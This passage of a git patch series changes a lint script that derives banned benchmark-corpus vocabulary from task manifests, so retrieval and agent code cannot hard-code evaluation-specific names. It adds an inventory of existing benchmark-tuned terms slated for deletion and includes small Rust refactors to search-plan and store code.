literal construction. It also scans the following repository-controlled non-Rust surfaces for direct and adjacent/split dependencies on every inventoried evaluation/query corpus: +The banned corpus vocabulary is derived, not curated: repository names, task +ids, expected symbols, expected file paths, prompts, claims, and fixture file +names are read out of `benchmarks/tasks/**` and the benchmark harness +repositories on every run, so a new task manifest extends the ban without a +lint edit. Benchmark-family surfaces that already exist in agent packet code are +listed in `scripts/retrieval-generalization-pending.json` and reported on every +run; the lint fails on any banned marker outside that inventory, and fails again +when a listed entry stops matching, so deleting such a surface must delete its +entry. + The inventory is executable rather than documentation-only. Supported text and configuration files under `scripts/`, `.github/scripts/`, `.github/workflows/`, the shipped plugin, and native backend metadata enter the diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index ad99e6186..dac8a5f19 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -191,7 +191,75 @@ const requiredScanDirs = [ path.join(repoRoot, "crates", "codestory-retrieval", "src"), ]; -const requiredProductionOnlyFiles = []; +// The product's own crate vocabulary: a benchmark task that runs against this +// repository names these, and the product has to keep naming itself. +const productIdentityTokens = new Set( + readdirSync(path.join(repoRoot, "crates"), { withFileTypes: true }) + .filter((entry) => entry.isDirectory()) + .flatMap((entry) => entry.name.split(/[^A-Za-z0-9]+/)) + .filter(Boolean) + .map((token) => token.toLowerCase()), +); + +// Corpus repositories whose name is also ordinary code vocabulary. Banning the +// bare token would flag `std::fmt` or an HTTP mention, so these repositories +// stay covered by their file, symbol, and prompt markers instead. Everything +// here must be a word production code is expected to use on its own terms. +const genericIdentityTokens = new Set([ + "fmt", + "http", + "requests", +]); + +// Corpus markers that are ordinary vocabulary once normalised. Same rule as +// above: production code owns these words, so a corpus that happens to contain +// one stays covered by its other markers. +const genericBenchmarkMarkers = new Set([ + "codestory", + "request", + "requests", + "response", + "responses", + "dispatch", + "router", + "routepath", + "approute", + "comments", + "indexfile", + "runindex", + "buildindex", + "servicesrs", + "sourcegroup", + "indexercommand", + "subcommand", + "eventprocessor", + "jsonoutput", + "jsonlevent", + "schema", + "source", + "storage", + "indexing", + "configuration", + "validation", + "serialize", + "serializes", + "serialized", + "serialization", + "foreignkey", + "references", + "formatto", + "formaterror", + "formaterrorcode", + "formatwindowserror", + "internalmutate", +]); + +// Search-plan term extraction is where holdout symbol injection lived before +// the v0.16.1 audit, so it is scanned by name even though the search modules +// around it are not yet under the corpus scan. +const requiredProductionOnlyFiles = [ + path.join(repoRoot, "crates", "codestory-runtime", "src", "search_terms.rs"), +]; const usesDefaultScanRoots = explicitScanRoots.length === 0; const missingRequiredPaths = usesDefaultScanRoots @@ -236,6 +304,7 @@ const benchmarkPromptScriptFiles = [ }, ]; const benchmarkTaskRoot = path.join(repoRoot, "benchmarks", "tasks"); +const pendingSurfacePath = path.join(repoRoot, "scripts", "retrieval-generalization-pending.json"); const benchmarkEvalProbeManifestPath = path.join(benchmarkTaskRoot, "eval-probes.json"); const benchmarkEvalProbeSourcePath = path.join( repoRoot, @@ -285,126 +354,30 @@ const corpusHarnessCompactPatternList = compactBoundaryPatterns( corpusHarnessDependencyPatternList, ); -const bannedPatterns = [ - "payload_config", - "freelancer", - "traderotate", - "vscode", - "codex-rs", - "sourcetrail", - "extHostCommands", - "extensionService", - "workbench\\.ts", - "codex_exec::", - "exec_events", - "StorageAccess", - "PersistentStorage", - "SourceGroupCxxCdb", - "IndexerJava", - "data[/\\\\]indexer", - "ExecSharedCliOptions", - "EventProcessorWithJsonOutput", - "Subcommand::Exec", - "ThreadStartParams", - "TurnStartParams", - "chinook", - "mdn", - "okio", - "monolog", - "alamofire", - "ChinookDatabase", - "form-validation", - "commonMain/kotlin/okio", - "src/Monolog", - "Source/Core/Session\\.swift", - "SocialEntries", - "ElsewhereFeed", - "src/lib_cxx", - "src/lib_java", - "src/lib/data/storage", - "getPayloadClient", - "comment_submission_guard", - "axios", - "redis", - "ripgrep", - "createInstance", - "InterceptorManager", - "dispatchRequest", - "readQueryFromClient", - "processCommand", - "aeMain", - "aeProcessEvents", - "HiArgs", - "SearchWorker", - "search_parallel", - "adapters\\.js", - "server\\.c", - "ae\\.c", - "networking\\.c", - "core/main\\.rs", - "flags/hiargs\\.rs", - "haystack\\.rs", - "lib/axios\\.js", - "lib/core/Axios\\.js", - "StringUtils", - "commons-lang", - "PreparedRequest", - "HTTPAdapter", - "createApplication", - "app\\.use", - "lib/express\\.js", - "Jekyll", - "LogRecord", - "AbstractProcessingHandler", - "useSWR", - "swr", - "gin\\.go", - "RouterGroup\\.Handle", - "Engine\\.addRoute", - "Engine\\.handleHTTPRequest", - "AutoMapper", - "TypeMapPlanBuilder", - "RealBufferedSource", - "RealBufferedSink", - "DataRequest", - "SessionDelegate", - "novalidate", - "showError", - "source/animate\\.css", - "nvm", - "install\\.sh\\s+nvm", - "bash_completion\\s+__nvm", - "--with-holdout-clone", +// Every banned corpus token is read out of the checked-in benchmark surfaces, +// so adding a task manifest extends the ban with that task's repository, +// symbols, and files instead of waiting for someone to remember this file. +const benchmarkCorpusMarkerSet = benchmarkCorpusMarkers(); + +// Corpora overlap by design, so the same marker arrives from several of them; +// one pattern per marker keeps the report readable. +const bannedPatterns = [...new Set([ ...evalCorpusBoundaryPatternList, ...benchmarkManifestDerivedPatterns(), ...benchmarkEvalProbeDerivedPatterns(), ...benchmarkScriptPromptDerivedPatterns(), ...benchmarkQueryCatalogDerivedPatterns(), -]; + ...benchmarkIdentityDerivedPatterns(), +])]; const bannedLiteralPatterns = [ "payload_collection", ]; -const bannedCompactPatterns = [ - "swr", - "useswr", - "stringutils", - "charsequenceutils", - "preparedrequest", - "httpadapter", - "createapplication", - "appuse", - "jekyll", - "logrecord", - "automapper", - "realbufferedsource", - "realbufferedsink", - "datarequest", - "sessiondelegate", - "sourceanimatecss", +const bannedCompactPatterns = [...new Set([ + ...benchmarkCorpusCompactPatterns(), ...evalCorpusCompactPatternList, -]; +])]; const allowedPatternLines = [ { @@ -454,10 +427,81 @@ function compactBoundaryPatterns(boundaryPatterns) { } function benchmarkManifestDerivedPatterns() { + return [...benchmarkCorpusMarkerSet.descriptive].sort().map(escapeRegExp); +} + +// Repository identity is short enough ("swr", "okio", "mdn") that substring +// matching would flag unrelated words, so identity tokens carry their own +// boundaries instead of relying on length. +function benchmarkIdentityDerivedPatterns() { + return [...benchmarkCorpusMarkerSet.identity] + .sort() + .map((token) => `(?:^|[^A-Za-z0-9_])${escapeRegExp(token)}(?![A-Za-z0-9_])`); +} + +// Split string literals rejoin into the same marker, so the compact scan needs +// the same corpus vocabulary the line scan uses. +function benchmarkCorpusCompactPatterns() { + const compact = new Set(); + for (const marker of benchmarkCorpusMarkerSet.descriptive) { + const normalized = compactProductionSource(marker); + // `useSWR` rejoins from "use" and "SWR"; the compact scan needs the short + // identifiers too, and it compares whole literals so it can afford them. + const floor = identifierShapedMarker(marker) ? 6 : 8; + if (normalized.length >= floor && !genericBenchmarkMarkers.has(normalized)) { + compact.add(normalized); + } + } + for (const token of benchmarkCorpusMarkerSet.identity) { + const normalized = compactProductionSource(token); + if (normalized.length >= 3) { + compact.add(normalized); + } + } + return [...compact].sort(); +} + +function benchmarkCorpusMarkers() { + const records = [ + ...benchmarkManifestMarkerRecords(), + ...benchmarkScriptRepoMarkerRecords(), + ...benchmarkFixtureNameMarkerRecords(), + ]; + const descriptive = new Set(); + const identity = new Set(); + const coverage = new Map(); + for (const record of records) { + if (!coverage.has(record.family)) { + coverage.set(record.family, 0); + } + const accepted = record.kind === "identity" + ? addIdentityMarker(identity, record.marker) + : addSpecificMarker(descriptive, record.marker, record.options); + if (accepted) { + coverage.set(record.family, coverage.get(record.family) + 1); + } + } + if (coverage.size === 0 || descriptive.size === 0 || identity.size === 0) { + throw new Error("benchmark corpora produced no generalization markers"); + } + // A family whose every marker was filtered out is invisible to this lint, and + // a silent gap is worse than a loud one: name it instead of shipping it. + const uncovered = [...coverage] + .filter(([, count]) => count === 0) + .map(([family]) => family) + .sort(); + if (uncovered.length > 0) { + throw new Error( + `benchmark corpus families produced no generalization markers: ${uncovered.join(", ")}`, + ); + } + return { descriptive, identity }; +} + +function benchmarkManifestMarkerRecords() { if (!existsSync(benchmarkTaskRoot)) { throw new Error(`benchmark task root is missing: ${benchmarkTaskRoot}`); } - const markers = new Set(); const manifestFiles = walkFiles( benchmarkTaskRoot, (candidate) => candidate.endsWith(".task.json"), @@ -465,6 +509,7 @@ function benchmarkManifestDerivedPatterns() { if (manifestFiles.length === 0) { throw new Error(`benchmark task root has no .task.json manifests: ${benchmarkTaskRoot}`); } + const records = []; let parsedTaskCount = 0; for (const filePath of manifestFiles) { let manifest; @@ -475,36 +520,199 @@ function benchmarkManifestDerivedPatterns() { } for (const task of benchmarkManifestTasks(manifest)) { parsedTaskCount += 1; - addSpecificMarker(markers, task.id); - addRepoMarkers(markers, task.repo); - addSpecificMarker(markers, task.prompt, { allowExactPhrase: true }); - for (const expectedFile of task.expected_files ?? []) { - addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); + const family = benchmarkTaskFamily(task, filePath); + const push = (marker, options) => records.push({ family, marker, options }); + push(task.id); + push(task.prompt, { allowExactPhrase: true }); + for (const claim of [...task.expected_claims ?? [], ...task.forbidden_claims ?? []]) { + push(claim?.text, { allowExactPhrase: true }); + } + for (const marker of repoIdentityMarkers(task.repo)) { + records.push({ family, ...marker }); + } + // A task on this repository lists the product's own files and symbols; + // banning those would ban the product from naming itself. Its prompt and + // claims still may not appear in production. + if (benchmarkRepoIsProduct(task.repo)) { + continue; } - for (const expectedFile of task.expected_verification_files ?? []) { - addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); + const expectedFiles = [ + ...task.expected_files ?? [], + ...task.expected_verification_files ?? [], + ]; + for (const expectedFile of expectedFiles) { + for (const variant of pathMarkerVariants(expectedFile)) { + push(variant, { allowSpecificComposite: true }); + } } for (const symbol of task.expected_symbols ?? []) { - if (typeof symbol === "string") { - addSpecificMarker(markers, symbol); - } else { - addSpecificMarker(markers, symbol?.name); - addSpecificMarker(markers, symbol?.qualified_name, { allowSpecificComposite: true }); - addSpecificMarker(markers, symbol?.path, { allowSpecificComposite: true }); + const name = typeof symbol === "string" ? symbol : symbol?.name; + for (const variant of symbolMarkerVariants(name)) { + push(variant, { allowIdentifier: true }); + } + if (typeof symbol !== "string") { + push(symbol?.qualified_name, { allowSpecificComposite: true }); + for (const variant of pathMarkerVariants(symbol?.path)) { + push(variant, { allowSpecificComposite: true }); + } } } - for (const claim of task.expected_claims ?? []) { - addSpecificMarker(markers, claim?.text, { allowExactPhrase: true }); + } + } + if (parsedTaskCount === 0) { + throw new Error("benchmark manifests produced no tasks"); + } + return records; +} + +// The A/B harness carries repositories that have no manifest of their own; they +// are corpus identity all the same. +function benchmarkScriptRepoMarkerRecords() { + const records = []; + for (const { filePath, startMarker, endMarker } of benchmarkPromptScriptFiles) { + const source = readFileSync(filePath, "utf8"); + const start = source.indexOf(startMarker); + const end = source.indexOf(endMarker, start + startMarker.length); + if (start < 0 || end < 0 || end <= start) { + throw new Error( + `benchmark prompt script is missing corpus boundary markers: ${filePath}`, + ); + } + const corpusSource = source.slice(start, end); + const repoEntries = [...corpusSource.matchAll(/^ {2}([A-Za-z][A-Za-z0-9_-]*):\s*\{/gm)]; + if (repoEntries.length === 0) { + throw new Error(`benchmark prompt script declared no repositories: ${filePath}`); + } + for (const [index, entry] of repoEntries.entries()) { + const family = entry[1]; + const entryEnd = index + 1 < repoEntries.length + ? repoEntries[index + 1].index + : corpusSource.length; + const entrySource = corpusSource.slice(entry.index, entryEnd); + records.push({ family, kind: "identity", marker: family }); + const url = entrySource.match(/\burl\s*:\s*"([^"]*)"/); + for (const marker of repoIdentityMarkers({ url: url?.[1] })) { + records.push({ family, ...marker }); } - for (const claim of task.forbidden_claims ?? []) { - addSpecificMarker(markers, claim?.text, { allowExactPhrase: true }); + } + } + return records; +} + +// Fixture file names identify their corpus repository even when the fixture +// carries no manifest fields at all. +function benchmarkFixtureNameMarkerRecords() { + const fixtures = walkFiles( + benchmarkTaskRoot, + (candidate) => candidate.endsWith(".json") && !candidate.endsWith(".schema.json"), + ); + if (fixtures.length === 0) { + throw new Error(`benchmark task root has no corpus fixtures: ${benchmarkTaskRoot}`); + } + return fixtures.map((filePath) => ({ + family: "benchmark fixture names", + marker: path.basename(filePath).replace(/\.[^.]+$/, "").replace(/\.task$/, ""), + options: { allowSpecificComposite: true }, + })); +} + +function benchmarkTaskFamily(task, filePath) { + const name = typeof task?.repo?.name === "string" ? task.repo.name.trim() : ""; + if (name.length > 0) { + return name; + } + return typeof task?.id === "string" && task.id.trim().length > 0 + ? task.id.trim() + : path.relative(repoRoot, filePath).replaceAll(path.sep, "/"); +} + +function benchmarkRepoIsProduct(repo) { + return [repo?.name, ...repoUrlSlugs(repo?.url)] + .filter((value) => typeof value === "string") + .some((value) => productIdentityTokens.has(value.split("/").pop().toLowerCase())); +} + +function repoIdentityMarkers(repo) { + const markers = []; + const slugs = repoUrlSlugs(repo?.url); + for (const value of [repo?.name, ...slugs]) { + if (typeof value !== "string" || value.trim().length === 0) { + continue; + } + if (value.includes("/")) { + markers.push({ marker: value, options: { allowSpecificComposite: true } }); + for (const part of value.split("/")) { + markers.push({ kind: "identity", marker: part }); } + continue; } + markers.push({ kind: "identity", marker: value }); } - if (parsedTaskCount === 0 || markers.size === 0) { - throw new Error("benchmark manifests produced no generalization markers"); + return markers; +} + +// A corpus file is quoted in pieces as often as whole, so windows of the path +// count too. `src/main/java` or `index.js` name a build layout rather than a +// repository, so a window has to carry a segment that could only have come from +// this corpus. +function pathMarkerVariants(filePath) { + if (typeof filePath !== "string" || filePath.trim().length === 0) { + return []; } - return [...markers].sort().map(escapeRegExp); + const segments = filePath.replaceAll("\\", "/").split("/").filter(Boolean); + if (segments.length === 0) { + return []; + } + const windows = [segments[segments.length - 1]]; + for (let index = 0; index + 1 < segments.length; index += 1) { + windows.push(`${segments[index]}/${segments[index + 1]}`); + } + // A directory such as `form-validation` or `lib_cxx` is quoted on its own as + // readily as with its neighbours. Two joined words are the bar: `Execution` + // and `_internal` are words any tree may use. + windows.push(...segments.filter(pathSegmentNamesTwoWords)); + return [ + segments.join("/"), + ...windows.filter(pathWindowIsDistinctive), + ]; +} + +function pathWindowIsDistinctive(window) { + if (window.split("/").some(pathSegmentIsDistinctive)) { + return true; + } + // `src/main` and `index.js` are build layout; `data/indexer` and + // `core/main.rs` are only long enough to be somebody's actual tree. + return compactProductionSource(window).length >= 10; +} + +function pathSegmentNamesTwoWords(segment) { + return /[_-]/.test(segment) + && segment.split(/[^A-Za-z0-9]+/).filter((word) => word.length >= 3).length >= 2; +} + +function pathSegmentIsDistinctive(segment) { + if (/[_-]/.test(segment) || /[A-Z]/.test(segment)) { + return true; + } + return segment.replace(/\.[^.]+$/, "").length >= 8; +} + +// A qualified symbol carries its own member name, but only an identifier-shaped +// member is corpus identity: `DataRequest.validate` names one repository, +// `validate` names half the trade. +function symbolMarkerVariants(name) { + if (typeof name !== "string" || name.trim().length === 0) { + return []; + } + const trimmed = name.trim(); + return [ + trimmed, + ...trimmed + .split(/::|[.#]/) + .map((part) => part.trim()) + .filter((part) => part.length > 0 && identifierShapedMarker(part)), + ]; } function benchmarkScriptPromptDerivedPatterns() { @@ -689,21 +897,19 @@ function benchmarkManifestTasks(manifest) { return []; } -function addRepoMarkers(markers, repo) { - addSpecificMarker(markers, repo?.name); - for (const slug of repoUrlSlugs(repo?.url)) { - addSpecificMarker(markers, slug); - } -} - function repoUrlSlugs(url) { if (typeof url !== "string" || url.trim().length === 0) { return []; } const trimmed = url.trim().replace(/\.git$/i, ""); - let pathname; + let pathname = trimmed; + // A hosted URL owns its owner segment; a local clone path does not, and its + // parent directory names a checkout layout rather than a repository. + let hosted = false; try { - pathname = new URL(trimmed).pathname; + const parsed = new URL(trimmed); + pathname = parsed.pathname; + hosted = parsed.host.length > 0; } catch { pathname = trimmed; } @@ -715,7 +921,7 @@ function repoUrlSlugs(url) { return []; } const repoName = parts[parts.length - 1]; - const ownerName = parts.length >= 2 + const ownerName = hosted && parts.length >= 2 ? `${parts[parts.length - 2]}/${repoName}` : null; return [ownerName, repoName].filter(Boolean); @@ -768,13 +974,47 @@ function walkProtectedNonRustFiles(root) { function addSpecificMarker(markers, value, options = {}) { if (typeof value !== "string") { - return; + return false; } const marker = value.trim(); - if (marker.length < 8 || benchmarkMarkerTooGeneric(marker, options)) { - return; + if (marker.length < markerLengthFloor(marker, options)) { + return false; + } + if (benchmarkMarkerTooGeneric(marker, options)) { + return false; } markers.add(marker); + return true; +} + +// Identifiers such as `useSWR` or `aeMain` are shorter than descriptive markers +// and still name exactly one corpus repository. +function markerLengthFloor(marker, options) { + return options.allowIdentifier && identifierShapedMarker(marker) ? 5 : 8; +} + +// Multi-word identifiers only: `HTTPAdapter` and `use_swr` name something, +// `Session` and `validate` are vocabulary every repository shares. +function identifierShapedMarker(marker) { + return /^[A-Za-z][A-Za-z0-9_]*$/.test(marker) + && (marker.includes("_") || /[a-z][A-Z]/.test(marker) || /[A-Z][A-Z][a-z]/.test(marker)); +} + +function addIdentityMarker(markers, value) { + if (typeof value !== "string") { + return false; + } + const token = value.trim().toLowerCase(); + if ( + token.length < 3 + || !/^[a-z0-9][a-z0-9._-]*$/.test(token) + || productIdentityTokens.has(token) + || genericIdentityTokens.has(token) + ) { + return false; + } + markers.add(token); + return true; } function benchmarkMarkerTooGeneric(marker, options = {}) { @@ -790,46 +1030,8 @@ function benchmarkMarkerTooGeneric(marker, options = {}) { } const normalized = marker.toLowerCase().replace(/[^a-z0-9]+/g, ""); return ( - normalized.length < 8 || - [ - "codestory", - "request", - "requests", - "response", - "responses", - "dispatch", - "router", - "routepath", - "approute", - "comments", - "indexfile", - "runindex", - "buildindex", - "servicesrs", - "sourcegroup", - "indexercommand", - "subcommand", - "eventprocessor", - "jsonoutput", - "jsonlevent", - "schema", - "source", - "storage", - "indexing", - "configuration", - "validation", - "serialize", - "serializes", - "serialized", - "serialization", - "foreignkey", - "references", - "formatto", - "formaterror", - "formaterrorcode", - "formatwindowserror", - "internalmutate", - ].includes(normalized) + normalized.length < markerLengthFloor(marker, options) + || genericBenchmarkMarkers.has(normalized) ); } @@ -1880,6 +2082,54 @@ function isEvalOnlyProductionFile(filePath) { return evalOnlyProductionFiles.has(path.resolve(filePath)); } +// The inventory records benchmark-family surfaces that already exist; it never +// grants a file blanket cover, and an entry that stops matching is an error, so +// deleting a surface has to delete its entry too. +function loadPendingSurfaces() { + let inventory; + try { + inventory = JSON.parse(readFileSync(pendingSurfacePath, "utf8")); + } catch (error) { + console.error(`lint-retrieval-generalization: unreadable pending inventory: ${error}`); + process.exit(2); + } + const surfaces = new Map(); + for (const [file, markers] of Object.entries(inventory?.surfaces ?? {})) { + if (!Array.isArray(markers) || markers.some((marker) => typeof marker !== "string")) { + console.error(`lint-retrieval-generalization: invalid pending entry for ${file}`); + process.exit(2); + } + surfaces.set(path.resolve(repoRoot, file), new Set(markers)); + } + return surfaces; +} + +function pendingSurfaceCovers(filePath, marker) { + const markers = pendingSurfaces.get(path.resolve(filePath)); + if (!markers?.has(marker)) { + return false; + } + observedPendingSurfaces.add(`${path.resolve(filePath)}${marker}`); + return true; +} + +function stalePendingSurfaces() { + // The inventory describes the shipped tree; a caller-supplied scan root has + // no reason to reach any of it. + if (!usesDefaultScanRoots) { + return []; + } + const stale = []; + for (const [filePath, markers] of pendingSurfaces) { + for (const marker of markers) { + if (!observedPendingSurfaces.has(`${filePath}${marker}`)) { + stale.push(`${path.relative(repoRoot, filePath)}: ${marker}`); + } + } + } + return stale.sort(); +} + function scanRankerFilenameLiterals(prepared) { const lines = prepared.lines; const hits = []; @@ -1893,6 +2143,9 @@ function scanRankerFilenameLiterals(prepared) { let failed = false; +const pendingSurfaces = loadPendingSurfaces(); +const observedPendingSurfaces = new Set(); + const scanFiles = new Set(productionOnlyFiles); for (const root of scanDirs) { for (const filePath of walkRustProductionFiles(root)) { @@ -1928,7 +2181,7 @@ for (const filePath of [...scanFiles].sort()) { ); for (const { pattern } of bannedRegexPatterns) { const hits = productionHits.get(pattern) ?? []; - if (hits.length > 0) { + if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern)) { console.error( `Banned pattern /${pattern}/ in ${path.relative(repoRoot, filePath)} (production slice):\n${hits.join("\n")}\n`, ); @@ -1937,7 +2190,7 @@ for (const filePath of [...scanFiles].sort()) { } for (const { pattern, re } of bannedLiteralRegexPatterns) { const hits = scanProductionStringLiterals(prepared, pattern, re); - if (hits.length > 0) { + if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern)) { console.error( `Banned literal pattern /${pattern}/ in ${path.relative(repoRoot, filePath)} (production slice):\n${hits.join("\n")}\n`, ); @@ -1946,7 +2199,7 @@ for (const filePath of [...scanFiles].sort()) { } for (const pattern of bannedCompactPatterns) { const hits = scanProductionCompactPatterns(prepared, pattern); - if (hits.length > 0) { + if (hits.length > 0 && !pendingSurfaceCovers(filePath, pattern)) { console.error( `Banned compact benchmark marker /${pattern}/ in ${path.relative(repoRoot, filePath)} (production slice):\n${hits.join("\n")}\n`, ); @@ -2062,6 +2315,14 @@ for (const filePath of [...protectedNonRustScanFiles].sort()) { } } +const stalePending = stalePendingSurfaces(); +if (stalePending.length > 0) { + console.error( + `Pending benchmark-family surfaces no longer match; delete them from ${path.relative(repoRoot, pendingSurfacePath)}:\n${stalePending.join("\n")}\n`, + ); + failed = true; +} + if (failed) { console.error( "retrieval generalization lint failed: remove eval/query dependencies from protected product paths", @@ -2069,6 +2330,8 @@ if (failed) { process.exit(1); } +const pendingSurfaceCount = [...pendingSurfaces.values()] + .reduce((total, markers) => total + markers.size, 0); console.log( - `lint-retrieval-generalization: ok (${scanDirs.length} retrieval dir(s), ${scanFiles.size} retrieval file(s), ${structuralFiles.size} production file(s), ${protectedNonRustScanFiles.size} protected non-Rust file(s), ${bannedPatterns.length} patterns)`, + `lint-retrieval-generalization: ok (${scanDirs.length} retrieval dir(s), ${scanFiles.size} retrieval file(s), ${structuralFiles.size} production file(s), ${protectedNonRustScanFiles.size} protected non-Rust file(s), ${bannedPatterns.length} patterns, ${pendingSurfaceCount} pending benchmark-family surface(s) in ${pendingSurfaces.size} file(s) awaiting deletion)`, ); diff --git a/scripts/retrieval-generalization-pending.json b/scripts/retrieval-generalization-pending.json new file mode 100644 index 000000000..bfd8cd949 --- /dev/null +++ b/scripts/retrieval-generalization-pending.json @@ -0,0 +1,171 @@ +{ + "note": "Benchmark-family surfaces the v0.16.1 generalization audit found in agent packet code. They are recorded, not excused: the lint fails on any banned corpus marker outside this inventory, and fails again when an entry here stops matching, so deleting the surface must delete its entry.", + "surfaces": { + "crates/codestory-runtime/src/agent/orchestrator.rs": [ + "RouterGroup", + "TypeMap", + "addRoute", + "mapperconfiguration" + ], + "crates/codestory-runtime/src/agent/packet_capping.rs": [ + "runmain" + ], + "crates/codestory-runtime/src/agent/packet_claim_profiles.rs": [ + "RouterGroup", + "TypeMap", + "addRecord", + "addRoute", + "addrecord", + "addrecordcreatesalogrecordbeforepassingittohandlers", + "addroute", + "addurlrule", + "callexecutesthecommandprocandhandlespropagationmonitoringandslowlogaccounting", + "dispatchrequest", + "formatargstore", + "fulldispatchrequest", + "isBlank", + "isEmpty", + "pushHandler", + "regionMatches", + "routergroup", + "searchworker", + "typemap", + "wsgiapp" + ], + "crates/codestory-runtime/src/agent/packet_command_profiles.rs": [ + "run_main", + "runmain" + ], + "crates/codestory-runtime/src/agent/packet_evidence_roles.rs": [ + "run_main" + ], + "crates/codestory-runtime/src/agent/packet_flow_requirements.rs": [ + "mapperconfiguration", + "sessionrequest" + ], + "crates/codestory-runtime/src/agent/packet_plan.rs": [ + "dispatchrequest", + "dynamicformatargstore", + "formatargstore", + "interceptormanager", + "isBlank", + "isEmpty", + "isblank", + "isempty", + "mapperconfiguration", + "regionMatches", + "regionmatches", + "routergroup", + "sessionrequest", + "sessionsend", + "siteread", + "siterender", + "sitewrite", + "wsgiapp" + ], + "crates/codestory-runtime/src/agent/packet_required_probes.rs": [ + "RouterGroup", + "TypeMap", + "_vars\\.css", + "addRecord", + "addRoute", + "addrecord", + "addroute", + "dynamicformatargstore", + "formatargstore", + "formvalidation", + "mapperconfiguration", + "persistentstorage", + "routergroup", + "sessionrequest", + "sessionsend", + "storageaccess", + "typemap", + "wsgiapp" + ], + "crates/codestory-runtime/src/agent/packet_scoring.rs": [ + "CreateMapperLambda", + "IMapper", + "IOClient", + "Logger\\.php", + "Mapper\\.cs", + "TypeMap", + "TypeMap\\.cs", + "addRecord", + "addrecord", + "addurlrule", + "animated", + "animatedelay", + "animateduration", + "attention_seekers", + "attentionseekers", + "baseclient", + "baserequest", + "client\\.dart", + "clientdart", + "createmapperlambda", + "dispatchrequest", + "dynamicformatargstore", + "formatargstore", + "fulldispatchrequest", + "imapper", + "io_client\\.dart", + "ioclientdart", + "ioclientsend", + "isBlank", + "isEmpty", + "isblank", + "isempty", + "loggerphp", + "mappercs", + "mappermap", + "pushHandler", + "pushhandler", + "regionMatches", + "regionmatches", + "requestresume", + "response\\.dart", + "responsedart", + "sansio/scaffold\\.py", + "sansioscaffoldpy", + "scaffold\\.py", + "sessionrequest", + "typemap", + "typemapcs", + "wsgiapp" + ], + "crates/codestory-runtime/src/agent/packet_sufficiency.rs": [ + "TypeMap", + "addRecord", + "addrecord", + "bashcompletion", + "dispatchrequest", + "fulldispatchrequest", + "installsh", + "isBlank", + "isEmpty", + "isblank", + "isempty", + "pushHandler", + "pushhandler", + "regionMatches", + "regionmatches", + "requestresume", + "sessionrequest", + "siteprocess", + "sitewrite", + "typemap", + "wsgiapp" + ], + "crates/codestory-runtime/src/agent/packet_terms.rs": [ + "(?:^|[^A-Za-z0-9_])express(?![A-Za-z0-9_])", + "RouterGroup", + "TypeMap", + "animatecss", + "animated", + "express", + "routergroup", + "typemap" + ] + } +} From c8ef9d533f78b74ffd35a10dc965997530eee491 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 03:13:11 -0500 Subject: [PATCH 003/132] name the typed-anchor subquery terms for what they now are The locals still read symbol_terms after the term catalogue went away, but the list is every asked term, ranked by shape. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/search_plan.rs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index 643a395f7..624267818 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -204,14 +204,14 @@ pub(super) fn push_search_plan_symbol_term_subquery( seen: &mut HashSet, terms: &SearchPlanTermsDto, ) { - let symbol_terms = sorted_search_plan_query_terms(terms); - if symbol_terms.is_empty() { + let query_terms = sorted_search_plan_query_terms(terms); + if query_terms.is_empty() { return; } push_search_plan_subquery( subqueries, seen, - symbol_terms + query_terms .iter() .take(8) .cloned() @@ -230,8 +230,8 @@ pub(super) fn push_search_plan_named_anchor_subqueries( seen: &mut HashSet, terms: &SearchPlanTermsDto, ) { - let symbol_terms = sorted_search_plan_query_terms(terms); - for term in symbol_terms + let query_terms = sorted_search_plan_query_terms(terms); + for term in query_terms .iter() .filter(|term| search_plan_named_anchor_term(term)) .take(5) From 5bef809133b2e41ebc3c7d975a6d86df7ef1c825 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 02:21:18 -0500 Subject: [PATCH 004/132] add directed call degrees to the grounding store read model Root ranking cannot tell a call-DAG root from a widely-called leaf using the undirected edge digest, which is why the v0.16.1 grounding replay found zero entry-point symbols in any root set: the only graph evidence available to the comparator was direction-blind. Expose inbound and outbound CALL degrees separately, ignoring speculative resolutions the same way the detail snapshot does and excluding proven test/benchmark callers the same way the runtime caller filter does. Delete get_grounding_named_root_symbols_for_files. Its only caller is the grounding name catalog that this rebuild removes, and a name-matching fetch is exactly the benchmark-shaped shortcut the v0.16.1 audit named. Drop the payload-types clause from FileRole::classify_path. A single framework's generated type file is a repository name in production classification; the /generated/ and .generated. markers stay. Co-Authored-By: Claude Opus 5 --- crates/codestory-store/src/lib.rs | 12 +- .../codestory-store/src/storage_impl/mod.rs | 576 +++++++++--------- 2 files changed, 299 insertions(+), 289 deletions(-) diff --git a/crates/codestory-store/src/lib.rs b/crates/codestory-store/src/lib.rs index 16ce87656..6cfeffea3 100644 --- a/crates/codestory-store/src/lib.rs +++ b/crates/codestory-store/src/lib.rs @@ -22,12 +22,12 @@ pub use storage_impl::{ CallerProjectionRemovalSummary, CorePromotionStats, DENSE_ANCHOR_MIGRATION_STATE_NATIVE, DENSE_ANCHOR_PUBLICATION_SCHEMA_VERSION, DatabaseSnapshotCopyStats, DenseAnchorInput, DenseAnchorInputReuseMetadata, DenseAnchorPublicationManifest, DenseReasonCounts, - FileContentHash, FileInfo, FileProjectionRemovalSummary, FileRole, GroundingEdgeKindCount, - GroundingFileSummary, GroundingNodeRecord, GroundingSnapshotMetadata, GroundingSnapshotState, - IndexArtifactCacheReader, IndexArtifactCacheWrite, IndexPublicationMode, - IndexPublicationRecord, LlmSymbolDoc, LlmSymbolDocReuseMetadata, LlmSymbolDocStats, - ProjectionFlushBreakdown, ProjectionPersistenceFamilyStats, ProjectionPersistenceStats, - RetrievalIndexManifest, RetrievalIndexRollbackRecord, + FileContentHash, FileInfo, FileProjectionRemovalSummary, FileRole, GroundingCallDegree, + GroundingEdgeKindCount, GroundingFileSummary, GroundingNodeRecord, GroundingSnapshotMetadata, + GroundingSnapshotState, 